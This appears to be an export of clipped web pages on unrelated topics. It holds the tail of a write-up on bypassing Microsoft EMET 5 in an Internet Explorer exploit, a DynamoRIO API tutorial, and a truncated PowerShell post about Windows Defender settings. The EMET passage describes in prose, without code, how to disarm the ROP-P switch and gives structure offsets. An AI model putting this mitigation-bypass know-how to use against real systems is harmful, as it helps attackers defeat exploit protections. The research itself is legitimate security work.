are using a memory leak to bypass ASLR in the IE ColspanID exploit. We are
also not loading any extra modules to bypass DEP. Nevertheless, we conducted
some research to understand where this mitigation is located within
_EMET.dll_. Once again, we noticed that the actual checks are done within the
very same ROP-P routine, thereby making ASR entirely ineffective once the
ROP-P general switch has been zeroed out. However, if an attacker is planning
to force the target application to load a blacklisted module to bypass ASLR,
he wouldn’t be able to disarm the EMET ASR protection using our technique
before loading the forbidden DLL.

####  PORTABILITY

Our testing on older operating systems shows that the offset to the
_CONFIG\_STRUCT_ global variable changes to _0x000b0b4c_ due to the fact that
a different _EMET.dll_ is in use.  
Nevertheless, offsets within the structure are consistent in all pre- and
post-Vista Windows versions, both for the ROP-P general switch and for the
unhooked APIs stubs. The only real differences are present when certain API
functions are simply not available in the OS, such as in the case of
KERNELBASE.DLL in Windows versions prior to Windows 7.

####  CONCLUSION

As we managed to successfully demonstrate, the difficulty in disarming EMET 5
mitigations has not increased substantially since version 4.x. More than
anything, only our ROP chain has increased in size, while achieving the same
effect of bypassing the protections offered by EMET. Here’s a video of our PoC
IE exploit bypassing EMET v5.0:

# Shan's "Fix IT in 1 Minute\!" UNIX Admin Blog: Debugging Python in ipython
and ipdb

**Created:**| _11/14/2010 4:11:56 PM_  
---|---  
**Updated:**| _11/18/2010 6:04:26 PM_  
**Author:**| __  
**Tags:**| _Debugging python programming_  
  

# Using DynamoRIO

**Created:**| _9/25/2009 9:14:14 PM_  
---|---  
**Updated:**| _9/25/2009 9:14:32 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation DynamoRIO Tutorials_  
  
| |   
---  
<img src='img/Temp2_8760.gif' />|  | <img src='img/Temp2_8759.gif' />  
---|---|---  
# Extending DynamoRIO: The DynamoRIO API

\(c\) Copyright 2002-2005 HEWLETT-PACKARD COMPANY  
\(c\) Copyright 2002-2005 Massachusetts Institute of Technology  

## Contents

  * DynamoRIO API
  * Instruction Representation
  * Client-Exported Routines
  * Special Features
  * Transparency Requirements
  * Examples

## Introduction

DynamoRIO exports a rich Application Programming Interface \(API\) to the user
for building a _DynamoRIO client._ A DynamoRIO client is a program that is
coupled with DynamoRIO in order to jointly operate on a input program binary.
To interact with the client, DynamoRIO exports specific hook functions. These
are functions that, if supplied by a user client, are called by DynamoRIO when
it is invoked on an input program. We first define the set of main API
functions. DynamoRIO also exports a rich set of functions and data structures
to manipulate IA-32 instructions. Their definition can be found on the various
DynamoRIO header files. We provide two examples to illustrate how the
DynamoRIO API is used to build a DynamoRIO client: a call instrumentation tool
and a simple optimizer.

  
| |   
---  
# DynamoRIO API

The API provides routines for manipulating the Instr and InstrList data
structures, including decoding and encoding them, which is discussed below. It
also provides printing and memory allocation that won't interfere with the
application \(remember that DynamoRIO interrupts the application at arbitrary
points, and so unless all routines in question are re-entrant, you cannot use
the same routines as the application inside DynamoRIO or its client\).

The API provides routines for spilling registers to DynamoRIO's own thread-
private spill slots, and for saving and restoring the arithmetic flags using
an instruction sequence that is much faster than pushf/popf. Also provided are
simple mutex routines to make it easy to develop thread-safe clients, and
routines for saving and restoring floating-point, MMX, and SSE state \(which
is not saved by DynamoRIO's context switches or its clean call mechanism\).

The API is defined in the following header files:

  * dynamorio.h = includes application and statistics interfaces
  * dynamorio\_ir.h = top level of our interface
  * dynamorio\_ir\_api.h = high-level routines
  * dynamorio\_ir\_instrlist.h = instruction list data structures
  * dynamorio\_ir\_opnd.h = operand data structures
  * dynamorio\_ir\_instr.h = instruction data structures
  * dynamorio\_ir\_opcodes.h = OP\_ constants
  * dynamorio\_ir\_macros.h = instruction creation macros

  
| |   
---  
# Instruction Representation

Two key features of the DynamoRIO instruction representation are responsible
for its efficiency, which is crucial when operating at runtime: linear control
flow and an adaptive level of detail for representing instructions.

## Linear Control Flow

Both basic blocks and traces are linear, so DynamoRIO's instruction sequences
are all single entrance, multiple exit. This greatly simplifies analysis
algorithms. A basic block or a trace is represented by a linked list of
instructions called an InstrList. A component of the list, an Instr, can
represent a single instruction or a group of undecoded instructions, as will
be shown next.

## Adaptive Level of Detail

It is costly to decode IA-32 instructions. Fortunately, DynamoRIO is often
only interested in high-level information for a subset of instructions, such
as just the control-flow instructions. Each instruction can be at one of five
levels of detail. Can switch incrementally between levels.

### Level 0: Raw Bundle

Instr holds raw bytes for group of instructions decoded only enough to
determine the final instruction boundary

8d 34 01 8b 46 0c 2b 46 1c 0f b7 4e 08 c1 e1 07 3b c1 0f 8d a2 0a 00 00  
---  
### Level 1: Raw Individual

Instr holds only one instruction, but just points to its raw bytes:

8d 34 01  
---  
|  
8b 46 0c  
|  
2b 46 1c  
|  
0f b7 4e 08  
|  
c1 e1 07  
|  
3b c1  
|  
0f 8d a2 0a 00 00  
### Level 2: Opcode and Eflags

Instr has been decoded just enough to determine opcode and eflags effects
\(important when analyzing IA-32 code\). Raw bytes still used for encoding.
The flags effects below are only shown for reading \(R\) or writing \(W\) the
six arithmetic flags \(Carry, Parity, Adjust, Zero, Sign, and Overflow\).

8d 34 01 | lea | \-   
---|---|---  
|  |   
8b 46 0c | mov | \-   
|  |   
2b 46 1c | sub | WCPAZSO   
|  |   
0f b7 4e 08 | movzx | \-   
|  |   
c1 e1 07 | shl | WCPAZSO   
|  |   
3b c1 | cmp | WCPAZSO   
|  |   
0f 8d a2 0a 00 00 | jnl | RSO   
### Level 3: Operands

Instr contains dynamically allocated arrays of source and destination operands
\(because IA-32 so variable\) that are filled in. Raw bytes are still valid
and are used for encoding. Combines high-level information with quick
encoding.

8d 34 01 | lea | \(%ecx,%eax,1\) => %esi | \-   
---|---|---|---  
|  |   
8b 46 0c | mov | 0xc\(%esi\) => %eax | \-   
|  |   
2b 46 1c | sub | 0x1c\(%esi\) %eax => %eax | WCPAZSO   
|  |   
0f b7 4e 08 | movzx | 0x8\(%esi\) => %ecx | \-   
|  |   
c1 e1 07 | shl | $0x07 %ecx => %ecx | WCPAZSO   
|  |   
3b c1 | cmp | %eax %ecx | WCPAZSO   
|  |   
0f 8d a2 0a 00 00 | jnl | $0x77f52269 | RSO   
### Level 4: Modified Operands

Instr has been modified at the operand level, or has been created from
operands, such that the raw bytes are no longer valid. Instr must be fully
encoded from its operands.

| lea | \(%ecx,%eax,1\) => %edi | \-   
---|---|---|---  
|  |   
| mov | 0xc\(%edi\) => %eax | \-   
|  |   
| sub | 0x1c\(%edi\) %eax => %eax | WCPAZSO   
|  |   
| movzx | 0x8\(%edi\) => %ecx | \-   
|  |   
c1 e1 07 | shl | $0x07 %ecx => %ecx | WCPAZSO   
|  |   
3b c1 | cmp | %eax %ecx | WCPAZSO   
|  |   
0f 8d a2 0a 00 00 | jnl | $0x77f52269 | RSO   
### Basic Block Example

As an example of using different levels of detail, a basic block in DynamoRIO
is represented using a Level 0 Instr for all non-control-flow instructions,
and a Level 3 Instr for the block-ending control-flow instruction:

8d 34 01 8b 46 0c 2b 46 1c 0f b7 4e 08 c1 e1 07 3b c1  
---  
|  
0f 8d a2 0a 00 00 | jnl | $0x77f52269 |  RSO   
## API Instruction Manipulation Routines

### Decoding

The table below gives the name of the decoding routine to build an instruction
at each level of detail:

**Level**| **Initial Decode**| **Upgrade Existing Lower-Level Instr**  
---|---|---  
Level 0 | decode\_next\_pc | \(nothing lower\)   
Level 1 | decode\_raw | instr\_expand   
Level 2 | decode\_opcode | instr\_decode\_opcode   
Level 3 | decode | instr\_decode   
our basic blocks | decode\_cti | instr\_decode\_cti   
### InstrLists Containing Level 0 Bundles

To give the client control over decoding overheads, we pass the InstrList for
both basic blocks and clients as it is used internally, a mixture of Level 0
and Level 3 and 4. If the client wishes to access information about
instructions, usually it should expand the list to be all at Level 1. Once at
Level 1, an instruction will be auto-magically upgraded to the appropriate
level \(Level 2 if the opcode is required, or Level 3 if operands are
required\) if information is asked of it. This is only not true for the
transition between Level 0 and Level 1. The reason is that that transition
needs a context --- an InstrList --- to perform the instruction separation.
The Level 0 to Level 1 transition must be explicitly performed. In fact,

> **instr\_get\_\{opcode,src,dst,target\} and instr\_num\_\{srcs,dsts\} WILL
> FAIL WHEN PASSED A LEVEL 0 INSTRUCTION\!**
This applies to routines that call these, as well -- for example,
instr\_is\_cti calls instr\_get\_opcode. In general, instr\_is routines
require the opcode. There are a few exceptions, and they are documented as
such: instr\_is\_exit\_cti, instr\_is\_cti\_short, and
instr\_is\_cti\_short\_rewrite.

To handle Level 0 instructions, they must be _expanded_ into a series of Level
1 instructions using either instr\_expand or the expanding iterator:

  * instrlist\_first\_expanded
  * instr\_get\_next\_expanded
  * instr\_get\_prev\_expanded
  * instrlist\_last\_expanded

Here is a sample for loop using the expanding iterator:

[code]

        for (instr = instrlist_first_expanded(drcontext, bb);
             instr != NULL;
             instr = instr_get_next_expanded(drcontext, bb, instr))
    
    
[/code]

Another expander is instrlist\_decode\_cti, which performs expansion plus
decode\_cti on all routines, and additionally hooks up cti's with Instr
targets to each other. Once all instructions are expanded, all other Level
upgrades are handled auto-magically.

To see the levels of each instruction in an InstrList, use the
instrlist\_disassemble routine.

### Instruction Generation

Two levels of detail:

  1. Specify opcode and all operands
  2. Build IA-32 instruction using INSTR\_CREATE\_opcode macro that fills in implicit operands for you

  
| |   
---  
# Client-Exported Routines

A client obtains hooks into DynamoRIO by exporting routines with certain
names. DynamoRIO calls those hooks at appropriate times.

## Initialization and Termination

DynamoRIO provides hooks for process-wide and per-thread client initialization
and termination. These hooks allow the client to perform both global and per-
thread initialization and cleanup. The fork\_init routine is only applicable
to Linux, and is meant to be used for re-initialization of data structures and
creation of new log files. It is called by the child of a fork. DynamoRIO
creates a new log directory and new log files for the child, and this callback
gives the client a chance to do the same \(open files are shared with the
parent otherwise\).

> void dynamorio\_init\(\);  
> void dynamorio\_exit\(\);  
> void dynamorio\_fork\_init\(\);  
> void dynamorio\_thread\_init\(\);  
> void dynamorio\_thread\_exit\(\);
## Basic Block Creation

DynamoRIO provides hooks for each time code is placed into the code cache.
Through these hooks the client has the ability to inspect and transform any
piece of code that is emitted into one of the code caches.

> void dynamorio\_basic\_block\(void \*drcontext, app\_pc tag, InstrList
> \*bb\);
DynamoRIO calls the user supplied routine dynamorio\_basic\_block each time a
block is created. Drcontext is a pointer to the input program's machine
context. It is critical for correct program execution that the input program's
context remains intact. Thus, the user is not expected to inspect or modify
the context and it is passed as an opaque pointer \(i.e., void \*\). The basic
block is passed to the client routine as a pointer to an InstrList \(for the
definition of InstrList and many other data structures for instructions
manipulation see dynamorio\_ir\_instrlist.h\). Each fragment is identified
within DynamoRIO by a unique _tag_. The tag for a basic block fragment is its
original starting address in the input program image, which is also passed to
the client routine.

The block of code that is passed to the client routine is the fragment block
without exit stubs. That is, a copy of the original image code block except
that \(1\) direct unconditional branches are eliminated, \(2\) unconditional
direct calls are "walked into", and \(3\) a terminating unconditional branch
is added to catch the fall-through case of the branch that originally
terminated the block.

DynamoRIO will perform its usual processing on the basic block after the
client has finished with it. It is important that the client mark any control
flow instructions that it does not want mangled by DynamoRIO as "meta-
instructions". This is done using the `instr_set_do_not_mangle(instr, true)`
API routine, or the convenience routine `dr_instrlist_meta_preinsert()`.

## Trace Creation

> void dynamorio\_trace\(void \*drcontext, app\_pc tag, InstrList \*trace\);
DynamoRIO calls the client supplied routine dynamorio\_trace each time a trace
is created and just before the trace is emitted into the trace cache. The
parameters drcontext and tag are defined as in dynamorio\_basic\_block. The
trace is passed as an Instrlist and after it has been processed by DyanamoRIO.
That is, all branches inside the trace have been realigned for emission into
the code cache. The client sees exactly the code that will execute in the code
cache. This includes transformations of indirect branches performed by
DynamoRIO: saving eflags, comparing the branch target to that which follows
the trace, and restoring the flags. The client should be aware of these code
sequences.

## Basic Block and Trace Deletion

> void void dynamorio\_fragment\_deleted\(void \*drcontext, app\_pc tag\);
DynamoRIO calls this user supplied routine each time a fragment is deleted
from the block or trace cache. Through this hook the client is always informed
about any code deletion from one of the code caches. Such information is
needed, if the client maintains its own data structures about emitted fragment
code that must be kept consistent across fragment deletions.

  
| |   
---  
# Special Features

This section highlights some of the important features of the DynamoRIO client
interface.

## Clean Calls

To make it easy to insert code into the application instruction stream,
DynamoRIO provides a _clean call_ mechanism. This allows insertion of a call
to a client routine that is completely transparent. DynamoRIO inserts code to
save all the general-purpose registers and the eflags prior to the call, and
even switches to the DynamoRIO stack to avoid relying on or tainting the
application stack. Everything is restored after the call.

> void dr\_prepare\_for\_call\(void \*drcontext, InstrList \*ilist, Instr
> \*instr\);  
> /\* push args, do call here \*/  
> void dr\_cleanup\_after\_call\(void \*drcontext, InstrList \*ilist, Instr
> \*where, uint sizeof\_param\_area\);  
>
Note that clean calls do **NOT** save or restore floating-point, MMX, or SSE
state. For that, use these routines:

> void proc\_save\_fpstate\(byte \*buf\);  
> void proc\_restore\_fpstate\(byte \*buf\);
These routines require a buffer that is 16-byte-aligned and of a certain size
\(512 bytes for processors with the FXSR feature, and 112 bytes for those
without\). Here is a sample usage:

[code]

        byte fp_raw[512 + 16];
        byte *fp_align = (byte *) ( (((uint)fp_raw) + 16) & 0xfffffff0 );
        proc_save_fpstate(fp_align);
    
    
[/code]

## Branch Instrumentation

DynamoRIO provides explicit support for instrumenting control transfer
instructions. These convenience routines insert clean calls to client-provided
methods, passing as arguments the instruction pc and target pc of each control
transfer, along with taken or not taken information for conditional branches:

> void dr\_insert\_call\_instrumentation\(void \*drcontext, InstrList \*ilist,
> Instr \*instr, void \*callee\);  
> void dr\_insert\_mbr\_instrumentation\(void \*drcontext, InstrList \*ilist,
> Instr \*instr, void \*callee\);  
> void dr\_insert\_cbr\_instrumentation\(void \*drcontext, InstrList \*ilist,
> Instr \*instr, void \*callee\);
## Adaptive Optimization

Two routines are provided to support adaptive optimization in the form of re-
optimizing existing trace fragments:

> InstrList \* dr\_decode\_fragment\(void \*drcontext, app\_pc tag\);  
> bool dr\_replace\_fragment\(void \*drcontext, app\_pc tag, InstrList
> \*ilist\);
DynamoRIO will decode and return the resulting InstrList for any trace
fragment, identified by tag. The client can then optimize the trace by
manipulating the InstrList. The final InstrList can be used to replace the
existing fragment by calling the dr\_replace\_fragment routine. This routine
can be called even while inside the to-be-replaced fragment \(e.g., in a clean
call from inside the fragment\). The old trace is unlinked from the rest of
the cache, and the rest of the cache is linked up to the new trace. Thus, as
soon as execution leaves the old trace \(which will occur soon since there can
be no loops without links\) it will never be executed again, and the new trace
will be used in its place.

DynamoRIO does not currently support replacing a fragment from another thread
than the one that owns the fragment. This will be forthcoming in a future
release.

## Custom Traces

DynamoRIO allows a client to build custom traces by marking its own trace
heads and deciding when to end traces. If a client exports the following hook,
DynamoRIO will call it before extending a trace \(with tag trace\_tag\) with a
new basic block \(with tag next\_tag\):

> int dynamorio\_end\_trace\(void \*drcontext, app\_pc trace\_tag, app\_pc
> next\_tag\);
The client returns one of these values:

  * CUSTOM\_TRACE\_DYNAMORIO\_DECIDES = use standard termination criteria
  * CUSTOM\_TRACE\_END\_NOW = end trace now
  * CUSTOM\_TRACE\_CONTINUE = do not end trace

The client can also mark any basic block as a trace head using this routine:

> bool dr\_mark\_trace\_head\(void \*drcontext, app\_pc tag\);
## Custom Exit Stubs

An exit cti can be given an InstrList to be prepended to the standard exit
stub. There are set and get methods for this custom exit stub code:

> void instr\_set\_exit\_stub\_code\(Instr \*instr, InstrList \*stub\);  
> InstrList \*instr\_exit\_stub\_code\(Instr \*instr\);
When a fragment is re-decoded, e.g. when being appended to a trace or when re-
decoded using dr\_decode\_fragment, the custom stubs are regenerated and added
to the owning exit cti's.

## Prefixes

Some code manipulations need to store a target address in a register and then
jump there, but need the register to be restored as well. DynamoRIO provides a
single-instruction prefix that is placed on all fragments \(basic blocks as
well as traces\) that restores ecx. It is on traces for internal DynamoRIO
use. To have it added to basic blocks as well, call this routine during
initialization:

> void dr\_add\_prefixes\_to\_basic\_blocks\(\);
To have a cti target the prefix rather than the normal entry, use these set
and get routines:

> bool instr\_branch\_targets\_prefix\(Instr \*instr\);  
> void instr\_branch\_set\_prefix\_target\(Instr \*instr, bool val\);
## Using DynamoRIO as a Standalone Library

DynamoRIO can be used a library for a standalone client \(i.e., a client that
runs on its own, rather than operating on a target program\). In order to use
the DynamoRIO API in such a situation, a dummy context must be created. This
routine creates such a context, and initializes DynamoRIO for standalone use:

> void \* dr\_standalone\_init\(\);
Note that this context cannot be used as the drcontext for a thread running
under DynamoRIO control\! It is only for standalone programs that wish to use
DynamoRIO as a library of disassembly, etc. routines.

  
| |   
---  
# Transparency Requirements

**DynamoRIO only supports transparent clients.**

DynamoRIO tries to make it easy to build transparent clients. If a client is
not transparent, any number of things could go wrong. If a client modifies the
control flow structure of a basic block, DynamoRIO may not build traces
properly with it. If a client modifies the eflags behavior of a basic block or
trace, DynamoRIO might do the wrong thing in the fragment's eflags restoration
prefix.

There is a notion of a "meta" instruction, in our IR it's a
\!instr\_ok\_to\_mangle instruction. You can add your own control flow, even a
call to your own routine, and we won't touch it if it's marked
do\_not\_mangle, and it won't screw us up since we can treat it as native non-
control-flow instructions. Use clean calls, save and restore state you modify,
etc.

There is an unresolved issue of translating contexts for exception/signal
handlers. For future releases we plan to provide an interface whereby we can
ask the client how to translate code it has manipulated to obtain an original
context to show the application's handler.

  
| |   
---  
# Examples

The sample programs below, along with a Makefile, can be found in the
`samples` subdirectory of the `doc` directory in your DynamoRIO installation.
The exported DynamoRIO API functions are shown in red in the following code
fragments.

## Example 1: Instruction Counting

We now illustrate how to use the above API to implement a simple
instrumentation client for counting the number of executed call and return
instructions in the input program. Full code for this example is in the file
samples/countcalls.c.

The client maintains global three counters: num\_direct\_calls,
num\_indirect\_calls, and num\_returns to count three different types of
instructions during execution. It also uses a mutex to serialize access to
these global counters. The client initializes everything by supplying the
following dynamorio\_init routine:

[code]

    EXPORT void dynamorio_init()
    {
        num_direct_calls = 0;
        num_indirect_calls = 0;
        num_returns = 0;
        dr_mutex_init(&mutex);
    }
    
[/code]

The client also provides a dynamorio\_exit routine that displays the final
values of these counters.

To properly handle threads, the client keeps track of each thread's
instruction counts separately. To do this, it creates a data structure that
will be separately allocated for each thread:

[code]

    typedef struct {
        int OF_slot; /* used for saving overflow flag */
        int num_direct_calls;
        int num_indirect_calls;
        int num_returns;
    } per_thread;
    
[/code]

Now the thread hooks are used to initialize the data structure and to add the
results to the global counters when the thread exits:

[code]

    EXPORT void dynamorio_thread_init(void *drcontext)
    {
        /* create an instance of our data structure for this thread */
        per_thread *data = (per_thread *)
            dr_thread_alloc(drcontext, sizeof(per_thread));
        /* store it in the slot provided in the drcontext */
        dr_set_drcontext_field(drcontext, data);
        data->num_direct_calls = 0;
        data->num_indirect_calls = 0;
        data->num_returns = 0;
    }
    
    EXPORT void dynamorio_thread_exit(void *drcontext)
    {
        per_thread *data = (per_thread *) dr_get_drcontext_field(drcontext);
        /* add thread's counters to global ones, inside our lock */
        dr_mutex_lock(&mutex);
        num_direct_calls += data->num_direct_calls;
        num_indirect_calls += data->num_indirect_calls;
        num_returns += data->num_returns;
        dr_mutex_unlock(&mutex);
        /* clean up memory */
        dr_thread_free(drcontext, data, sizeof(per_thread));
    }
    
[/code]

The real work is done in the basic block hook. We simply look for the
instructions we're interested in and insert an increment of the appropriate
thread-local counter, remembering to save the flags, of course.

[code]

    EXPORT void dynamorio_basic_block(void *drcontext, app_pc tag, InstrList *bb)
    {
        Instr *instr, *next_instr;
        per_thread *data = (per_thread *) dr_get_drcontext_field(drcontext);
        /* only interested in calls & returns, so can use DynamoRIO instrlist
         * as is, do not need to expand it!
         */
        for (instr = instrlist_first(bb); instr != NULL; instr = next_instr) {
            /* grab next now so we don't go over instructions we insert */
            next_instr = instr_get_next(instr);
            /* we can rely on all ctis being decoded, so skip undecoded instrs
             * this will also avoid problems w/ asking for opcode of Level 0 instrs */
            if (!instr_opcode_valid(instr))
                continue;
            /* instrument calls and returns -- ignore far calls/rets */
            if (instr_is_call_direct(instr)) {
                /* since the inc instruction clobbers 5 of the arith flags,
                 * we have to save them around the inc.
                 * we could be more efficient by not bothering to save the
                 * overflow flag and constructing our own sequence of instructions
                 * to save the other 5 flags (using lahf).
                 */
                dr_save_arith_flags(drcontext, bb, instr, &(data->OF_slot));
                instrlist_preinsert(bb, instr, INSTR_CREATE_inc(drcontext,
                    OPND_CREATE_MEM32(REG_NULL, (int)&(data->num_direct_calls))));
                dr_restore_arith_flags(drcontext, bb, instr, &(data->OF_slot));
            } else if (instr_is_call_indirect(instr)) {
                dr_save_arith_flags(drcontext, bb, instr, &(data->OF_slot));
                instrlist_preinsert(bb, instr, INSTR_CREATE_inc(drcontext,
                    OPND_CREATE_MEM32(REG_NULL, (int)&(data->num_indirect_calls))));
                dr_restore_arith_flags(drcontext, bb, instr, &(data->OF_slot));
            } else if (instr_is_return(instr)) {
                dr_save_arith_flags(drcontext, bb, instr, &(data->OF_slot));
                instrlist_preinsert(bb, instr, INSTR_CREATE_inc(drcontext,
                    OPND_CREATE_MEM32(REG_NULL, (int)&(data->num_returns))));
                dr_restore_arith_flags(drcontext, bb, instr, &(data->OF_slot));
            }
        }
    }
    
[/code]

## Building the Example

To build the client instrumentation application, the client program file \(say
instrcalls.c\) should include the following:

[code]

    #include "dynamorio.h"
    #ifdef LINUX
    #  define EXPORT
    #else
    #  define EXPORT __declspec(dllexport)
    #endif   
    
[/code]

We can then build the client shared library in Windows:

[code]

    > cl instrcalls.c /I$DYNAMORIO_HOME/include /link /libpath:$DYNAMORIO_HOME/bin dynamorio.lib /dll /out:instrcalls.dll 
    
[/code]

or in Linux:

[code]

    > gcc -shared -nostartfiles -DLINUX -I$DYNAMORIO_HOME/include instrcalls.c -o instrcalls.so 
    
[/code]

The result is a shared library instrcalls.dll. To invoke the library, we pass
"-instrlibname instrcalls.dll" as a DYNAMORIO\_OPTIONS parameter when running
an input program under DynamoRIO control.

## Example 2: Instruction Profiling

The next example shows how to use the provided control flow instrumentation
routines, which allow more sophisticated profiling than simply counting
instructions. Full code for this example is in the file samples/instrcalls.c.

As in the previous example, the client is interested in direct and indirect
calls and returns. The client wants to analyze the target address of each
dynamic instance of a call or return. For our example, we simply dump the data
in text format to a separate file for each thread. Since FILE cannot be
exported from a DLL on Windows, we use the DynamoRIO-provided File type that
hides the distinction between FILE and HANDLE to allow the same code to work
on Linux and Windows. We make used of the thread initialization and exit
routines to open and close the file. We store the file for a thread in the
user slot in the drcontext.

[code]

    EXPORT void dynamorio_thread_init(void *drcontext)
    {
        /* we're going to dump our data to a per-thread file */
        char fname[512];
        File f;
        sprintf(fname, "instrcalls-%03d.log", dr_get_thread_id(drcontext));
        f = dr_open_file(fname, false/*write*/);
        assert(f != INVALID_File);
        /* store it in the slot provided in the drcontext */
        dr_set_drcontext_field(drcontext, (void *)f);
        dr_log(drcontext, LOG_ALL, 1, "instrcalls: log for thread %d is %s\n",
               dr_get_thread_id(drcontext), fname);
    }
    
    EXPORT void dynamorio_thread_exit(void *drcontext)
    {
        File f = (File) dr_get_drcontext_field(drcontext);
        dr_close_file(f);
    }
    
[/code]

The basic block hook inserts a call to a procedure for each type of
instruction, using the API-provided dr\_insert\_call\_instrumentation and
dr\_insert\_mbr\_instrumentation routines, which insert calls to procedures
with a certain signature.

[code]

    EXPORT void dynamorio_basic_block(void *drcontext, app_pc tag, InstrList *bb) {
        Instr *instr;
        /* only interested in calls & returns, so can use DynamoRIO instrlist
         * as is, do not need to expand it!
         */
        for (instr = instrlist_first(bb); instr != NULL; instr = instr_get_next(instr)) {
            /* we can rely on all ctis being decoded, so skip undecoded instrs
             * this will also avoid problems w/ asking for opcode of Level 0 instrs */
            if (!instr_opcode_valid(instr))
                continue;
            if (is_call_direct(instr)) {
                dr_insert_call_instrumentation(drcontext, bb, instr, (app_pc)at_dir_call);
            } else if (is_call_indirect(instr)) {
                dr_insert_mbr_instrumentation(drcontext, bb, instr, (app_pc)at_ind_call);
            } else if (is_return(instr)) {
                dr_insert_mbr_instrumentation(drcontext, bb, instr, (app_pc)at_return);
            }
        }
    } 
    
[/code]

These procedures look like this:

[code]

    static void at_call(app_pc instr_addr, app_pc target_addr)
    {
        File f = (File) dr_get_drcontext_field(dr_get_current_drcontext());
        dr_fprintf(f, "CALL @ 0x%08x to 0x%08x\n", instr_addr, target_addr);
    }
    
    static void at_call_ind(app_pc instr_addr, app_pc target_addr)
    {
        File f = (File) dr_get_drcontext_field(dr_get_current_drcontext());
        dr_fprintf(f, "CALL INDIRECT @ 0x%08x to 0x%08x\n", instr_addr, target_addr);
    }
    
    static void at_return(app_pc instr_addr, app_pc target_addr)
    {
        File f = (File) dr_get_drcontext_field(dr_get_current_drcontext());
        dr_fprintf(f, "RETURN @ 0x%08x to 0x%08x\n", instr_addr, target_addr);
    }
    
[/code]

The address of the instruction and the address of its target are both
provided. These routines could perform some sort of analysis based on these
addresses. In our example we simply print out the data.

## Example 3: Optimization

For the next example we consider a client application for a simple
optimization. The optimizer replaces every increment/decrement operation with
a corresponding add/subtract operation if running on a Pentium 4, where the
add/subtract is less expensive. For optimizations, we are less concerned with
covering all the code that is executed; on the contrary, in order to amortize
the optimization overhead, we only want to apply the optimization to hot code.
Thus, we apply the optimization at the trace level rather than the basic block
level. Full code for this example is in the file samples/inc2add.c.

## Example 4: Custom Tracing

This example demonstrates the custom tracing interface. It changes DynamoRIO's
tracing behavior to favor making traces that start at a call and end right
after a return. It demonstrates the use of both custom trace api elements :

> int dynamorio\_end\_trace\(void \*drcontext, app\_pc trace\_tag, app\_pc
> next\_tag\);  
> bool dr\_mark\_trace\_head\(void \*drcontext, app\_pc tag\);
Full code for this example is in the file samples/inline.c.

## Example 5: Use of Floating Point Operation in a Client

Because saving the floating point state is very expensive, DynamoRIO seeks to
do so on an as needed basis. If a client wishes to use floating point
operations it must save and restore the applications floating point state
around the usage. This is done through :

> void proc\_save\_fpstate\(byte \*buf\);  
> void proc\_restore\_fpstate\(byte \*buf\);
Note that there are restrictions on how these methods may be called, see the
documentation in the header files for additional information. Note also that
the floating point state must be saved around calls to our provided printing
routines when they are used to print floats. However, it is not neccesary to
save and restore the floating point state around floating point operations if
they are being used in the void dynamorio\_init\(\) or void
dynamorio\_exit\(\) functions. This example client counts the number of basic
blocks processed and keeps statistics on their average size using floating
point operations. Full code for this example is in the file samples/bbsize.c.

## Example 6: Use of Custom Client Statistics with the Windows GUI

The new Windows GUI will display custom client statistics, if they are placed
in shared memory with a certain name. The sample samples/customstats.c gives
code for the protocol used in the form of a sample client that counts total
instructions, floating-point instructions, and system calls.

| |   
---  
Documentation Home

# Use PowerShell to Explore Windows Defender Preferences - Hey, Scripting
Guy\! Blog - Site Home - TechNet Blogs

**Created:**| _10/23/2013 10:28:12 AM_  
---|---  
**Updated:**| _10/23/2013 10:28:12 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis powershell windows environment config_  
  

# **U** se PowerShell to Explore Windows Defender Preferences****

**Summary** : Microsoft Scripting Guy, Ed Wilson, talks about using Windows
PowerShell 4**.** 0 in Windows 8**.** 1 to explore Windows Defender
preferences.

Microsoft Scripting Guy, Ed Wilson, is here**.** Well things are certainly
shaping up to be exciting**.** Last weekend, I upgraded my Surface Pro to
Windows 8**.** 1 via the store. It took about 30 minutes, and it was
absolutely painless**.** The long part was downloading the 3 GB file. Then it
started the installation, and I had to agree with the license statement**.**
Finally, it wanted to know how to personalize the device**.** Besides that, it
was gravy.

The Scripting Wife and I are getting ready to go to Atlanta this weekend for
the PowerShell Saturday 005 event **.** I am making two presentations, and
there are several other awesome speakers who will be there**.** There are
still some tickets available for this event, so it is not too late to sign
up**.** I know there are some people who are driving to the event from as far
away as Texas, so it will be a great time to see some of your favorite Windows
PowerShell people**.** Check it out, you will be glad you did.

Because Windows 8**.** 1 is now in general availability, I thought I would
take some time to write about one of the cool new modules**.** I am running
Windows PowerShell 4**.** 0 on Windows 8.1.

**Note** This is the second post in a three-part series about the Windows
Defender module in Windows 8**.** 1\. For basic information about the Windows
Defender module, please see Exploring the Windows Defender Catalog **.**

One of the cool things about Windows PowerShell is that it always \(at least
nearly always\) works the same**.** This means that I can use the **Get-Help**
cmdlet to find out how to use a cmdlet or CIM function**.** I can use the
**Help** function, to see Help information one page at a time**.** It does not
matter what the module, or what the cmdlet**.**

But with most of the **Get\*** type of cmdlets and functions, I do not even
need to use Help**.** I can simply type the cmdlet \(or function\) name, and
voila, it spews forth data—at least that is the way that well designed cmdlets
generally behave**.** I should not have to look at Help to find out how to get
information**.**

**Note** The Windows Defender commands are technically functions**.** They are
CIM wrapped, based on a new WMI namespace that is added to Windows 8**.** 1\.
I will refer to them as functions, or occasionally as a command**.** But I
will not call them cmdlets \(unless I slip up and make a mistake\) because
they are not technically cmdlets**.** Using **Get-Member** or **Get-Command**
easily reveals this information**.**

I can use the **Get-MpPreference** cmdlet to obtain information about my
Windows Defender preference settings**.** The command and the output
associated with the command are shown here**.**

<img src='http://blogs.technet.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-76-18/0777.HSG_2D00_10_2D00_23_2D00_13_2D00_01.png'
alt='Image of command output' />

The bad thing is that some of the output does not make sense**.** For example,
the value of the **SanScheduleDay** is 0**.** What does that mean? Is it
Sunday, or Monday, or whatever**?** I know that “computer numbers” often begin
with 0 instead of 1, so I guess that maybe it means scan on the first day of
the week**.** So I use the **Get-Culture** cmdlet and I look at the
**DateTimeFormat** property to see what the first day of the week is**.** The
command and output are shown here.

<img src='http://blogs.technet.com/resized-
image.ashx/__size/550x0/__key/communityserver-blogs-components-
weblogfiles/00-00-00-76-18/4188.HSG_2D00_10_2D00_23_2D00_13_2D00_02.png'
alt='Image of command output' />

I can see that the value of the **FirstDayOfWeek** property from the
**DateTimeFormat** object is Sunday**.** So, I guess that my
**ScanScheduleDay** value of 0 is Sunday**.** But that is just a guess**.** I
